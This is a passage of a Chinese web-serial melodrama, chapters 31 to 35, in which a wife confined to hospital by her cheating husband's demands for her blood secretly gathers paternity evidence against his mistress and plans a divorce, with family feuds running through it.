看着苏雅欣狰狞的面孔,我继续说道:“你跟他的孩子都三岁了,他怎么还没给你个名分呢?难道,是他不舍得跟我离婚,你才来逼我主动离开他?”
“你别做梦了!”
苏雅欣恼羞成怒地道:“时序哥早就厌弃了你。我要是你,我就不会死皮赖脸占着这个顾太太的位置!顾伯母说了,你这样不要脸的女人,当初就该跟你生下的死胎一起**!”
‘离婚’这个念头,在此刻,无比坚定地在我心里膨胀着。
我满脑子想的都是‘离婚’、‘证据’、‘为自己争取最大的利益’。
现在,苏雅欣就在我眼前,这不就是拿到证据最好的机会吗?
就在她以为我虚弱到无法反抗时,我突然抓住她的头发,用尽全力往我这边拽。
“啊!”
苏雅欣尖叫出声。
我用力薅她的头发,毫不留情,恨不得将她头皮也一起薅下来。
第31章 让顾时序看清小三的真面目
苏雅欣刚才毫无防备,现在她长发都被我拽着,十分不好脱身。
“你松开我!你这个**!”
她一边骂,一边挣扎着。
因为她往后退的力气太大,我又拽着她头发不放,我整个人都被带下了床,跌落在地。
脚尖的手术伤口传来剧痛。
刚好这时,顾时序回来了。
苏雅欣瞬间变做了弱者,哭着道:“叶小姐,你别这样,我知道错了……”
顾时序见状,一把推开我,将苏雅欣扶起来揽在怀里,担心地检查着她有没有受伤。
我将手中苏雅欣的一撮头发藏在了身后,就这么坐在地上,狼狈得起都起不来。
顾时序刚才推我的力道不轻,我整个人现在头晕得嗡嗡作响。
他检查完苏雅欣,确定没什么事之后,阴郁的眼神看着我,道:“你疯了么?”
“顾时序,你还不知道你怀里的女人有两副面孔吧?”
我将病号服的袖子掀开,给顾时序看苏雅欣看才在我胳膊上扎得密密麻麻的**。
可我没想到,顾时序已经对苏雅欣信任到如此地步。
他没有意外,没有怀疑,而是对我道:“雅欣做不出这种事。你这伤口怎么来的,你自己心里清楚。”
言外之意,是我自己弄出来的,污蔑苏雅欣。
苏雅欣嘴角勾起一抹稍纵即逝的笑意,随即,仿佛受了天大的委屈,道:“刚才叶小姐拔了针不停地扎自己,我不想她这么自残,就想把她手里的针夺回来。没想到,她……她就抓住我的头发不放。”
顾时序凉薄的目光从我身上扫过,直接拥着苏雅欣离开,像是丢一个垃圾似的,将我丢在这间病房。
他们出了门,我就听见苏雅欣的声音,问:“时序哥,医生怎么说?还需要叶小姐给朵朵输血么?”
顾时序道:“需要。”
“再这么下去,叶小姐怕是会恨死我,我好怕她会杀了我。”
苏雅欣的声音‘害怕’地颤抖。
顾时序语气冷沉,道:“她不会的。”
后来,他们的声音越来越远。
我撑着一旁的床沿,费了很大的劲儿,才终于爬回床上。
苏雅欣的头发被我放在卫生纸里包好,放进了床头柜的抽屉里。
脚上的手术伤口渗出了血,疼得厉害,但呼叫铃被苏雅欣故意拔掉了插座。
护士查房时发现我伤口的血,立刻叫来了医生,却不是给我做手术那位。
“裴医生呢?我好像很久没见到他了。”我疑惑地问。
护士道:“裴医生本来是神经外科的,前段时间只是来急诊科支援,现在已经回去了。以后……应该也不会来了。”
医生帮我重新包扎好伤口后,护士也给我重新输了液,就离开了。
没过多久,我病房的门被重新打开。
原以为是顾时序回来找我算账或者抽我的血,没想到,是那位好几天没见的裴医生。
我疑惑地问:“听护士说您已经回神经外科了。您怎么又回来了?”
裴医生走到我面前,道:“是你朋友让我来看看。她说你电话打不通,不太放心。你脸色怎么这么差?是手术之后没修养好吗?”
我惊讶地问:“您认识今若?”
裴医生提起宋今若的时候,眼中似乎划过一抹温柔,道:“她之前总来跟我打听你的病情,一来二去就认识了。倒是你,脸怎么白成这样?”
说着,他拿出听诊器戴在耳朵上,俯身在我床边帮我听诊了一下心脏。
听完,他神色复杂,道:“你心跳很微弱,这情况不对。我让同事给你开几个检查,尤其是血常规。可能是贫血造成的。”
他正准备去医生办公室,我叫住他,道:“不必了,裴医生。我昨天献了三袋血,所以……”
裴医生停住脚步,不可置信地看着我,“谁让你这么做的?哪个医生?你贫血这么严重,这不是开玩笑吗?”
“我丈夫的女儿需要献血,我血型恰好跟她相符。”
我言简意赅地说了情况。
裴医生似乎懂了什么,他蹙眉道:“他没收了你的手机,你是被逼迫的?怪不得今若说联系不到你。”
“嗯。”
我感激地对他说:“谢谢你,裴医生。但是麻烦你别把我这样的情况告诉今若,她家的公司跟顾氏有很多利益牵扯,我不想让她难做。”
裴医生犹豫了一下,点点头,道:“我可以瞒着她,但是,需要我帮你报警吗?”
我想到我妈妈还得
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依靠顾氏的设备续命,那个设备一天不上市,我就一天买不到,只能通过顾时序。
“不必了,我知道裴医生是好心。但……我有难言之隐,您帮我瞒着今若就行了。”
我虽然没有说明情况,但成年人的世界都有边界感。
毕竟我也不是裴医生的病人了,他作为医生已经告知了我这种危险性。既然我拒绝了他的帮助,他也没再多问什么,更没有强求。
裴医生叹了口气,道:“我的神经外科就在楼上,如果你有什么事,可以让护士去楼上找我。科里还有事,我先走了。”
他冲我微微颔首,离开了。
裴医生走后没多久,我才发现他的胸牌掉在了我床边。
我伸手够了上来,胸牌上写着:裴炎京,神经外科副主任医师。
想必,是刚才他给我听诊的时候不小心弄掉的。
现在,我手边没有电话,也没有别的什么可以联系到他的方式。
我下了床,一边扶着墙壁,一边用那只好的左脚往前跳。
本想把这个胸牌送到护士站,拜托护士帮我送上去。
可今天下午好像很忙,护士站一个人都没有,所有的护士都行色匆匆给人打针吊水。
我只好自己去送。
我慢慢移动着身体,跳一会儿,歇一会儿,十来分钟后终于进了电梯。
电梯到达楼上一层,我很快就找到他的诊室。
刚准备进去,就有个人从里面出来,跟我撞了个正着。
我这个“半残”的人,就这么被撞倒在地上。
“你没事吧?”
年轻男人赶紧扶起我。
而这个声音……怎么这么熟悉?
我一抬头,没想到,竟然是顾时序同父异母的弟弟,顾亦寒。
“叶昭昭?”
顾亦寒也格外震惊的看着我,皱了皱眉,“你怎么弄成这个鬼样子了?”
我跟顾亦寒从小学到高中,做了十二年的同学,也做了十二年的冤家。
小时候我没少被他恶作剧欺负,高中时他又死缠烂打地追我。
**都是顾时序帮我出气!
以前,我在顾亦寒面前,那也是很傲娇的。
现在,我这副半死不活的狼狈样子被他看见,别提多没面子了。
第32章 他出去找野女人了!
面对顾亦寒的挖苦,我没好气的说:“跟你没关系,我来找裴医生。”
“裴医生忙着呢!里面还有好几个病人。”
顾亦寒依旧扶着我,指了指里面,的确还有十来个病人。
我将裴医生的工牌交给了诊室门口的护士,准备离开了。
这时,诊室里面又出来一个人,温柔的唤我:“昭昭?”
“琴姨?”
我没想到,顾亦寒的妈妈薛晓琴也回来了。
当年顾时序的父亲跟我婆婆闹离婚,顾家老爷子不答应。
最终,顾时序的父亲放弃了继承权,并且答应老爷子永居国外不再回国,免除了顾亦寒日后跟顾时序争夺家产的嫌疑,这才成功跟我婆婆离婚。
可事实上,很早之前顾时序的父亲就已经不回家了,一直跟薛晓琴同居。
按说薛晓琴是和苏雅欣一样的第三者,我该很讨厌她才对。
但每次顾亦寒欺负我,都是她去学校让顾亦寒给我道歉,还会送我礼物安抚我。
久而久之,我虽不喜欢顾亦寒,但并不排斥这个阿姨。
此时,薛晓琴走到我另一边扶住我,温柔的跟我解释:“好久不见了。最近我头痛的厉害,听说裴医生的医术国内外闻名,就回国找他看看。”
说到这儿,她疑惑的望向我的脚,道:“你受着伤怎么一个人乱跑,没人照顾你吗?”
这时,顾亦寒冷不丁的来了句:“现在叶昭昭脸白的像鬼,脚又变成了个坡子,顾时序眼光那么高的,能看上她才怪!肯定出去找哪个野女人了。”
“亦寒。”
薛晓琴不满的轻斥道:“胡说八道什么呢?给昭昭道歉。”
这话,还和小时候一样,挺亲切的。
但我却道:“不用道歉,他说的对。”
这下,薛晓琴和顾亦寒都尴尬了。
我道:“琴姨,我先走了,以后有机会再见。”
薛晓琴道:“让亦寒送你回去吧。你这样子,我怎么能放心呢?”
我本想拒绝,没想到,顾亦寒突然打横抱起了我,对薛晓琴道:“放心吧,妈!保证完成任务。”
大庭广众之下,我没好意思像以前那样跟他急赤白脸的吵。
他将我送回病房,却没有离开的意思。
我冷冷道:“谢谢你,不送。”
顾亦寒俊朗的脸上挂着邪肆的笑,道:“还是跟以前一样没良心!怕顾时序马上回来吃醋啊?现在,他估计只吃苏雅欣的醋,哪有空吃你的?”
我微微一顿,错愕的望向他,“你也知道?”
顾亦寒冷哼了声,道:“也就你这个傻妞儿不知道!顾时序和苏雅欣的事儿,圈子里早都有风声了。怎么样,现在后悔了吧?当初你要是跟了我,现在都不知道有多幸福!”
“我信你个鬼!”
我白了他一眼,道:“你跟顾时序,半斤八两!你走吧,我跟你也没什么可说的。”
就在这时,一个护士推着轮椅进来,对我道:“叶小姐,顾先生说让我带您去抽血。”
我早已心死,听见这种话,心情几乎没有任何起伏,麻木的‘嗯’了声。
倒是顾亦寒,拦住我,问:“抽什么血?”
护士道:“有一个小孩子需要输血,现在只有叶小姐的血型与她相符。”
“叶昭昭,我记得你小时候不就有贫血的毛病吗?”
顾亦寒道:“他让你献血你就献血?他让你**,你是不是也开窗户跳下去啊!叶昭昭,你爱顾时序就一点底线都没有了?这么作践自己?”
我心中感慨,世事无常,瞬息变幻。
以前,每当我被顾亦寒的恶作剧吓哭、气哭时,都是顾时序帮我出去,安慰我。
可现在,要我命的人,是顾时序。
而为我慷慨陈词的人,却是顾亦寒。
护士催促道:“叶小姐,您再不过去,顾先生怕是要等急了。”
顾亦寒厉声道:“等急了就让他等着!不去!”
随即,他直接拉过护士手里的轮椅,丢去了门外。
捎带着,也把那个护士给轰了出去。
房间里没人了,他才幽幽的说:“顾时序是他妈脑子被驴踢了吗?让他贫血的老婆去给别人献血?”
“如果那个人,是他女儿呢?”
我淡淡地说完,顾亦寒眼睛瞪得老大。
随即,他压低声音道:“他跟谁的女儿?苏雅欣的?”
就在这时,门突然被推开,顾时序就这么阴沉着脸走了进来。
我和顾亦寒的对话声戛然而止。
顾亦寒双手抄在裤袋,一副纨绔公子的模样,道:“好久不见,我亲爱的哥哥。”
顾时序目光锐利而冷冽,阴郁的说:“不在国外好好呆着,回来干什么?”
顾亦寒跟顾时序这关系,可谓是从小斗到大。
当然,次次都是顾时序占上风,毕竟,顾亦寒的名分是私生子,学习成绩也不如顾时序。顾家老爷子,包括顾时序的姑姑、叔叔都看不上顾亦寒,压根不让顾亦寒进顾家门。
再加上以前我婆婆为了守住婚姻,三天两头去学校里大闹,说顾亦寒是顾家的私生子,顾亦寒的母亲是不要脸的狐狸精。
以至于顾亦寒从小到大,都是在私生子的阴影和流言蜚语里度过的。
顾亦寒心里憋着一口气,谁都能看得出来。
现在,他也没怵顾时序,嬉皮笑脸的开口道:“这大中国是你家的?我又没有被驱逐出境,凭什么不能回来?老爷子**,我和我妈还没来及上柱香呢。这次回来,顺便看看老爷子。”
“你和你母
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亲没有资格去给爷爷上香。”
顾时序冷冷提醒道:“记住你们自己的身份。就算回来,也夹着尾巴做人,别逼我动手。”
我听着顾时序高高在上的威胁,难免有些心酸。
以前,顾时序替我出气的时候,也是这般对顾亦寒说话,我当时觉得可爽了。
但是,在我经历了被顾时序威胁,被他高高在上的忽视,我仿佛明白了顾亦寒的处境。
我不想让顾亦寒为我得罪顾时序,开口道:“顾亦寒,你先走吧,谢谢你今天送我回来。”
顾亦寒望着我看了良久,眸光复杂。
随即,他轻笑了声,道:“那我就先走了。咱俩的小秘密,以后有机会再说。”
临走时,他还冲我眨了眨眼睛。
我无语,这家伙到底在搞什么?
我跟他哪来的什么小秘密?
可顾时序却把他刚才的话听进去了。
顾亦寒走后,他来到我床边,伸手捏着我下颌,问:“你刚才跟他说了什么秘密?”
“跟你有关系吗?”
我坦然地迎上他阴郁的目光,道:“要不,咱俩交换。你告诉我一个小秘密,我也告诉你一个。”
顾时序语气沉了几分,捏着我下颌的手也加重了几分力道,道:“我对顾亦寒动手是早晚的事。你是我的女人,别站错了队。我不想误伤你。”
我不以为意地轻扯唇角。
误伤?
他故意伤害都伤了多少回了,我还怕他误伤?
我给朵朵献血这件事,并没有因为顾亦寒的到来而终止。
顾时序是根本不把这个弟弟放在眼里的。
他依旧将我推进了输血室,让医生给我抽血。
只不过,这几天他让刘妈炖了好多补品来。
医生这边也在给我开营养液,生怕我的血色素掉太低,没人救他女儿。
终于在两天后,朵朵血常规正常了,不再需要输血。
可我的血已经快被耗干,最后一次抽血后,我再次陷入昏迷。
当时的我高烧、浑身发冷。
护士给我盖被子,给我冷敷额头,可我还是冷得要命。
我以为这次,自己真的要命丧黄泉了。
恍惚中,我好像落入一个温暖的地方,一双手臂紧紧抱着我,对我说:“昭昭,我不会让你有事。”
……
昏睡时,我仿佛做了个很长的梦。
我梦见少年时的顾时序阳光俊朗的脸上带着温暖的笑,他牵着我走了很长很长的路,却在一个路口放开了我的手。
他走得很快,我不停地追,不停地追。
好不容易我追上了他,终于抓住他的手。
而当他回过头时,变成了一张陌生的脸。
我猛然惊醒。
整个人正被顾时序拥在怀里。
第33章 做亲子鉴定
他半靠在我床边,探了探我的额头,问:“现在好点没?”
我望着他,拼命忍着眼眶的酸涩。
这张面容终于跟梦里最后那张脸重叠,已经不是我认识的顾时序了。
大概是见我眼里隐约有泪,顾时序柔声道:“我知道这次委屈你了,我会告诉朵朵,是你救了她。”
我不屑的轻挽唇角,问:“这重要吗?”
他深邃漆黑的眸光看着我,一字一顿地道:“重要。”
我不明白这重要在哪儿?
我因为给她输血,三番两次在死亡线上挣扎,就为了她一句“感谢”?
可我还是把顾时序和苏雅欣的女儿想的太好了。
原来,我这几天的血,连她一声‘谢谢’都不配。
苏雅欣得知我醒了,带着朵朵来到我病房里。
顾时序在得知朵朵要来的时候,早已放开我,从床上下来整理了衣服,好像我们的关系是那种见不得光的偷情。
苏雅欣将朵朵带到我面前,在顾时序面前温婉懂事的说:“时序哥,我来带朵朵感谢叶小姐,她是朵朵的救命恩人,也是朵朵的再生父母。”
顾时序对苏雅欣的做法很满意,点点头,等着朵朵对我说感谢的话。
可没想到,小丫头像看仇人似的看着我,道:“我为什么要感谢她?我生病的时候,是妈妈一直在照顾我,妈妈给我讲故事,妈妈哄我睡觉,跟这个坏女人有什么关系?我才不要感谢她!”
“朵朵,妈妈是怎么教你的?”
苏雅欣一副紧张的样子,‘教育’着女儿,“妈妈不是说过吗?我们要做知恩图报的人。”
朵朵愤愤的看着我,道:“她对我没有恩情,爸爸和妈妈对我才有恩情!我本来就不喜欢打针,她要不给我输血,我还不用打针呢!”
苏雅欣为难的看着我,道:“真是不好意思,叶小姐,朵朵她太小了,不懂这些。你救了我女儿,你让我做什么,都可以。哪怕为奴为婢,我也在所不辞。”
我冷冷盯着苏雅欣,只觉得这女人的演技总是被网友喷,真是太冤了。
对比那天她用针扎我,威胁我的样子,现在的她,简直像换了个人。
真是演什么,像什么!
我不禁冷笑了声。
还没说话,顾时序就对苏雅欣道:“你先带朵朵回病房吧。”
他是怕苏雅欣再留下来,我会提出什么过分的要求。
他不舍得苏雅欣受委屈。
苏雅欣带朵朵离开时,朵朵跑过去,拉着顾时序道:“爸爸,为什么你要照顾这个女佣,不来陪我和妈妈?”
哪怕刚才,这孩子是非不分,说出那种话,顾时序都没舍得说她一句。
他仍旧温声细语的对朵朵道:“乖,你先跟妈妈回去,爸爸马上就回去陪你,好吗?”
朵朵这才不甘心的跟苏雅欣走了。
她们走后,顾时序对我道:“你别怪朵朵,她是小孩子,什么都不明白。我以后,会慢慢教她的。”
又是这句话!
小孩子!
呵,这么小的孩子,不仅什么都明白,还知道怎么为自己和妈妈争取利益。
我实在是觉得这一家三口太没意思。
现在,我就连骂他们的欲望都没有了。
只求他们别在我眼前晃,我眼不见心不烦。
我没有理会他,而是问道:“现在,你女儿也不需要我的血了,能不把我手机还给我?”
顾时序顿了顿,将我的手机递给了我。
我拿到手机,对他道:“你快去陪你女儿吧,我马上让今若来陪我。”
顾时序一心想着朵朵,我主动这么说,他自然没意见。
交代了一句:“好好休息,哪里不舒服就喊医生。”
然后,便匆匆离开了。
手机上,很多未接来电。
我赶紧给宋今若回过去电话。
那边传来宋今若担心的声音,“昭昭,你怎么这么多天不接电话?我急**!裴炎京说你手机坏了,是不是真的啊?”
“嗯,不小心摔了。”
我怕她知道我最近经历的事,不然以宋今若的性格,绝对要不顾一切去找顾时序算账。
怕她追根究底的问下去,我岔开话题道:“对了,我拿到了苏雅欣的头发。你什么时候回来?帮我把这个送去鉴定机构吧。”
“这么快?”
宋今若有点意外,道:“我还以为得等你出院回家才能拿到呢。我明天就能回去,到时候,我去医院找你,顺便给你办出院。”
“好。”
跟宋今若通完话,我看到屏幕上还有几个未接来电是叶家的。
都是周三打来的。
如果我没猜错,肯定是叶夫人告诉我,苏雅欣没过去。
毕竟,这些日子朵朵生病,苏雅欣一直都在医院,根本不可能分神跟我哥哥回家。
我将电话回拨过去,果然是叶夫人告诉我,苏雅欣周三确实没跟我哥哥回去。因为苏雅欣的家人生病了,苏雅欣必须亲自照顾。
我了然一笑,这是意料之中的事。
我试探着问:“该不会是他们吵架,感情不太稳定吧?”
如果感情不稳定,两人分手了,那顾时序就看不到这场好戏了。
叶夫人笑眯眯地说:“当然不是了!一开始我和你爸爸也担心呢。但你哥说了,他跟雅欣都在一起好几年了,要是不稳定,早就掰了。”
我顺着叶夫人的话问:“那我哥有没有说下次什么时候把她带回来啊?”
“至少要等她家人病好一些吧?”
叶夫人也拿不准具体时间,便道:“等时间确定了,我通知你。”
我应了声,挂掉电话。
希望那个时候,我妈的心肺支持仪已经上市,我跟顾时序已经走离婚流程了。
我打开日历,还剩下一周的时间。
快了!
……
翌日,宋今若过来给我办了出院。
为了不打草惊蛇,我还是回到了顾氏庄园。
之前那么久都忍了,还差这一星期么?
我目前还不能正常行走,只能依靠拐和轮椅。
刘妈和宋今若一起将我送回房间。
“太太,先生已经给别墅里配备了营养师,说要好好给您补充营养呢。”
刘妈对最近发生的事不是很清楚,还在说顾时序的好,想借此缓解我们的关系。
我微微笑了笑,道:“我知道了。刘妈,你先去忙吧,我跟今若说说话。”
刘妈走后,宋今若环顾着我这间客房,气得骂骂咧咧。
她对我道:“下周设备一上市我们立刻去买。买完你就搬到我那儿去,无论他同不同意离婚,这个破地方,你也是一点都别沾了!真是晦气!”
“嗯。”
我应了声,从包包里拿出我从苏雅欣头上薅下来的头发,道:“这个你帮我送到鉴定机构,尽快拿到苏雅欣和朵朵的亲子鉴定。到时候,白
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纸黑字摆在面前,他们谁也没法抵赖。”
宋今若想想也觉得开心,道:“等你离婚后,咱们就把亲子鉴定结果和他俩的高清照片全都发到网上去。我真想看看,苏雅欣还有没有脸一天到晚在微博上晒这晒那的!”
为了能尽快做完亲子鉴定,宋今若没有再耽误时间,对我道:“我先去鉴定机构赶紧把这事儿办了,明天再来看你。”
她走后,我去浴室将脚用塑料薄膜包起来,小心翼翼地洗了个澡。
然后,坐在书桌前,打开电脑。
公司那边因为我的脚没好,人事说可以再给我一个月的病假。可我在试用期,这么下去总觉得不太好。
所以我先给孟云初打了电话,说我现在可以在家处理一些工作。
很快,这个工作狂就把我需要做的工作发到了邮箱。
而邮箱里除了她的邮件,竟然还有一个签约邀请。
我这才想起之前在一个小说网站一时兴起写的小说。
打开小说网站后台,没想到,竟然有那么多的催更提醒。
“怎么不写了?作者大大去哪儿了?”
“这个不要脸的小三,气死我了!什么时候把她给写死啊!”
“渣男贱女锁死,女主独自美丽!作者赶紧更新啊!”
“……”
几百条催更评论让我眼前一亮。
这就是无心插柳柳成荫吗?
我根据签约邀请的qq号加了网站编辑。
她说我的书很适合这个网站,而且目前来看势头很好,希望我可以跟网站签约。
而且签约之后,我还可以拿到稳定的稿费。
我以前没签约过小说,对这一块算挺陌生的。
所以我没有立刻答应编辑,只说要考虑几天。
虽然没有立刻签约,但因为这么多读者催更,我还是继续更新了新的章节。
看到自己的书被这么多人喜欢,我忽然觉得除了这段失败的婚姻,能带给我成就感的事还有很多。
我一直写到深夜,终于有了些许困意。
……
清早,我被外面闹哄哄的声音吵醒。
本以为只是朵朵养的那条狗在叫。
可后来,我似乎听见了宋今若的尖叫声。
我一惊,连忙从床上下来,跳到窗边。
原来,是朵朵出院了,顾时序他们回来了。
不仅如此,宋今若来找我,却被他们养的狗追着咬。
她吓得惊慌失措,朵朵指来指去,似乎在指挥那条狗。
我气坏了,慌忙叫来刘妈推我出去。
“顾时序,你让那只狗停下来!”
我气得冲他大吼。
顾时序任由女儿闹够了,这才轻飘飘地命令那条狗:“大白,过来。”
拉布拉多终于停止了对宋今若的追赶,乖乖回到了顾时序身边。
朵朵开心地捂着嘴大笑,对宋今若道:“谁让你跟那个坏女人一样,欺负我妈妈!”
宋今若气红了眼,对着那条狗指桑骂槐道:“真是什么样的主人养什么样的狗!疯狗!”
苏雅欣这回倒是没在顾时序面前装柔弱,而是理直气壮地对宋今若道:“宋小姐,上次你见到我就打我耳光,这次你又来我们家指着我骂。我没有报警,对你已经很仁慈了!”
“那是你该骂!”
宋今若指着她,道:“你也好意思说这是你家?这是我闺蜜的家!你也就仗着个野种,才死皮赖脸地赖在这儿。”
第34章 我跟婆婆的死对头挺处得来
“宋今若!”
顾时序清冷的面容像是粹了一层冰,道:“现在立刻从我家滚出去!”
“我闺蜜是来看我的,是我让她来的!”
我滚动着轮椅过去,对顾时序道:“你陪你情人和女儿,我让今若来陪我,怎么了?如果你要她走,那我跟她一起走!”
顾时序被驳了面子,虽说脸色阴郁,但终究没有说什么,带着朵朵和苏雅欣进去了。
宋今若捂着心口,似乎被那条狗吓得不轻。
我歉疚的跟她道歉。
她深吸了口气,推着我的轮椅往里走去。
路上,她遗憾的说:“刚才你那么说,我还以为以顾时序的脾气,会真让你跟我走。我还想着,那就好了!没想到,这该死的男人,都这地步了,还想坐拥齐人之福。”
“很快,他就坐拥不上了。”
我勉强笑着安慰她,问:“你今天怎么这么早来?”
宋今若这才想起正事儿,对我道:“我想让带你出去散散心,咱们好久没去逛街了。而且啊,下个月沈家老太太要举办宴会,给我发了邀请函。我想让你陪我去挑个珠宝。”
“沈家老太太?”
我一愣,问:“哪个沈家老太太?”
宋今若无奈的摇了摇头,似乎在嫌弃我的孤陋寡闻。
她道:“帝都四大家族之一的沈家,最近把生意做到海城来了。沈老太太喜欢海城的天气,所以来这里定居了。这次晚宴,就是沈家跟海城上流圈子打交道的路子。”
我听着宋今若滔滔不绝的跟我传授着这圈子里的新闻。
嫁给顾时序四年,他把我藏着掖着,很多事我都不太清楚,几乎跟海城的上流圈脱节了。
宋今若道:“顾时序肯定也收到邀请函了。但你们隐婚,他肯定不会带你去。这该死的混蛋!”
“没事,我脚现在这样子,行动不便,我也懒得去参加这种聚会。”我道:“我先去洗漱,一会儿陪你去商场。”
半小时后,我简单收拾好了。
宋今若推我出去的时候,顾时序他们也在客厅。
朵朵看样子是康复的差不多了,现在又恢复了平日的精气神,在地毯上蹦蹦跳跳的。
我和宋今若在这样的场合下显得格格不入。
想到朵朵的健康是怎么来的,我心中泛起一阵酸涩和艰辛,别开脸去,不再看那温馨的‘一家人’。
我们在商场的餐厅吃了早餐,便开始逛珠宝店,帮宋今若挑选参加宴会的珠宝。
柜姐殷勤的给宋今若介绍店里的新品。
“宋小姐,这几款钻石项链都很适合您。非常优雅,而且很别致。重要的是,这几款全部都是限量,海城除了我们店,找不出第二个。”
我帮宋今若从里面选了一条黄钻项链和手链的套装,道:“这个适合你。”
“宋小姐,您朋友的眼光真不错。”
柜姐连忙拿出这款项链准备给宋今若试戴。
就在这时,一个熟悉的声音传来,“这款黄钻套装我要了。”
我们闻声看去,没想到,是我婆婆姜淑慧也来了这家店。
估计,也是准备为下个月赴沈家的宴会挑选珠宝的。
她昂首走了进来,眼睛长在头顶上,看都不没有看我和宋今若一眼,而是直接走到柜台前。
她拿出高级VIP的会员卡,直接让柜姐把项链包起来。
柜姐有些为难了,可看在顾家权势更大的份儿上,她对宋今若道:“宋小姐,不然,您再挑一款呢?其实,我认为这款粉钻更适合您。”
宋今若当即冷下脸来,问:“你们这么大的店,连个先来后到都不分?把你们店长叫来!”
姜淑慧勾唇冷笑,道:“叫店长有什么用?下等人就去下等人该去的地方买珠宝,别来这里丢人。你父亲每年低声下气找我儿子拉投资的时候,就注定了你不配跟我戴一个档次的珠宝。”
宋今若被气得笑了声,道:“这位大妈,您也不看看,这项链的款式适不适合您这把年纪!脖子都有褶子了,也不怕这么细的链子再给您多勒出几条来!”
“你!”
姜淑慧勃然大怒,随即,挤出一抹笑意,目光落在我身上,故意加重语气道:“这项链是我准备买给我未来儿媳的!我儿子一直说她是绝色之姿,配这条黄钻,还是绰绰有余的。”
她口中的‘未来儿媳’,指的自然是苏雅欣。
宋今若恨不得当场跟她撕起来,我拦住她,道:“这商场里珠宝多的是,我们去别家看看,别在这里沾上晦气!”
就在这时,门口又进来两人。
清朗的男声响了起来:“服务员,之前我定制的珠宝做好了吗?”
我回头望去,竟然是顾亦寒。
他带着母亲进来,看到我和宋今若的时候,也有些意外。
薛晓琴走到我面前,亲切的问我:“昭昭,你的脚好些了吗?”
“嗯,好多了,琴姨。”
我微笑着回应。
可我知道,旁边我婆婆的脸色,已经阴沉的不成样子了。
宋今若为了气姜淑慧,也甜甜的叫了声:“琴姨,好久不见。”
薛晓琴点点头,笑着道:“是啊,今若也出落的越来越漂亮了。”
我们几个旁若无人的聊天,直接把姜淑慧晾在了一边,没人搭理她。
直到柜姐的声音轻轻提醒她:“顾夫人,您这套黄钻……还要吗?”
这时,薛晓琴才注意到不远处的姜淑慧。
她脸色微变,随即,淡淡的笑了笑,跟她打招呼:“慧姐。”
姜淑慧本来是端着架子,想维持自己豪门地位,不理她的。
可没想到,在她看到姜淑慧脖子上戴的那一串冰种紫罗兰翡翠珠子时,当即愣住了。
“顾家的东西怎么在你这里?”
姜淑慧指着她的脖颈,眼神仿佛能迸发出火星子。
薛晓琴下意识的摸了摸脖颈上的项链,一脸疑惑的望向顾亦寒。
我和宋今若也突然注意到,薛晓琴脖子上的项链,不就是我前段时间卖掉的定情信物吗?
顾时序当年在拍卖会上一千万拍下来的,当时还在贵妇圈轰动了一阵子。
那时候他刚跟我求婚,姜淑慧本以为这串珠子是儿子买来孝敬她的,没想到,最后变成了顾时序送我的定情信物。
当时因为这个,姜淑慧还闹了一场。
对于这条项链,姜淑慧的印象可太深了。
以至于现在,她恨恨的质问道:“薛晓琴,你怎么不说话!偷了我男人,还偷我们顾家的东西!你说,这是哪里来的!”
顾亦寒走到母亲身边,似笑非笑
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的说:“这是我从一家奢侈品店给我妈买来的。不过,的确是当年顾时序拍下来的那条。我听奢侈品店的老板说,是因为原主人经济紧张,不得已把这个卖了换钱。”
姜淑慧立刻否认道:“不可能!我们顾家家大业大,怎么会靠变卖东西换钱?”
顾亦寒故作夸张的说:“不可能?那我怎么听说前段时间顾氏拖欠工人工资,逼的人**?好像顾氏的股价还跌了一阵子呢。姜阿姨,没钱不丢人,找我借啊!我有!何必连珠宝都要出来当了呢。”
恐怕姜淑慧她做梦估计都没想到,自己这辈子能跟‘没钱’两个字联系起来。
现在,不仅是顾亦寒的羞辱,更重要的是,她跟薛晓琴这辈子简直就是‘你死我活’的关系。
当年她那么想要这串紫罗兰翡翠珠子,现在却戴在了她死对头脖子上,可想而知她此刻的心情。
一旁的柜姐净站那儿吃瓜了。
还是顾亦寒提醒:“美女,瓜吃够了没?要是吃饱了,就去帮我把定制的那套珠宝拿来。”
柜姐格外尴尬,赶紧去取了。
姜淑慧只觉得颜面无存,瞬间想起这个肯定是我卖掉的。
她眼神阴鸷,指着我道:“叶昭昭,真有你的,敢这样给我们顾家丢人!”
我面无表情的看着她,问:“不对吧?你不是有未来儿媳吗?那我是你们顾家的什么人?我做什么,跟你们顾家有什么关系?”
宋今若看到姜淑慧哑口无言的样子,笑了笑,故意道:“哎呀,连珠宝都要当掉卖钱的顾家人,居然还有脸来这儿买新珠宝。大妈,既然你喜欢那套,就让给你吧!我的确跟您不是一个阶层的,至少,我们宋家的珠宝还没出现在当铺过。”
说完,我和宋今若都跟薛晓琴和顾亦寒打了个招呼,一起离开了。
姜淑慧见我们俩丝毫不将她放在眼里,气的咬牙道:“果真只有**的东西在一起才能有共同语言!”
……
后来,我跟宋今若去了别的店,挑选了一款更好看的套装,又定制了一件她下个月准备在宴会上穿的礼服。
我们本想晚上在外面吃了饭再回去。
可下午,我就接到了顾时序的电话。
“回家。”
他短短两个字,充满了命令。
我冷冷道:“我在外面逛街,没准备这么早回去。”
顾时序声音又冷了几分,道:“我让你现在就回家,别挑战我的耐心。”
我怕他再用我妈威胁我,索性还剩下一周的时间,我就再忍忍他。
就这样,我和宋今若饭都没有吃,就回顾氏庄园了。
我们都知道,顾时序这个态度让我回去,究竟为什么?
那必然是姜淑慧今天在商场被羞辱的体无完肤,回去找儿子告状了。
路上,宋今若的担心的说:“顾时序会不会发现什么?要是被他知道我们偷偷找律师,搞离婚的证据,他肯定不会放过你。”
“应该跟离婚的事没关系。”我若有所思的分析道:“他一直都觉得我舍不得他,舍不得这个顾太太的位置,他不会想到我真会跟他离婚。估计就是回去问我那串紫罗兰翡翠的事。”
宋今若担心的问:“那你准备怎么说?”
我面无表情的道:“实话实说!”
第35章 顾时序把我们的定情信物买了回来
很快,宋今若把我送到顾氏庄园,她怕我会吃亏,想跟我一起进去。
但我也怕她被我连累,便坚持让她回去,说我自己一个人可以应付。
临走时,她叮嘱道:“那你待会儿一定要给我打个电话。我晚上要是没收到你的电话,就杀过来救你!”
“放心吧。”
我冲她笑了笑,目送她离开。
然后,刘妈将我推了进去。
客厅里,姜淑慧就坐在沙发上。
见我进来,她站起身就朝我走过来。
看这架势,是准备将今天所受的气往我身上撒。
顾时序先一步拦住他妈妈,道:“我刚才说过,有什么话用嘴说,不要动手。”
“这个**,不跟她动手,她都不知道我们顾家的规矩!”
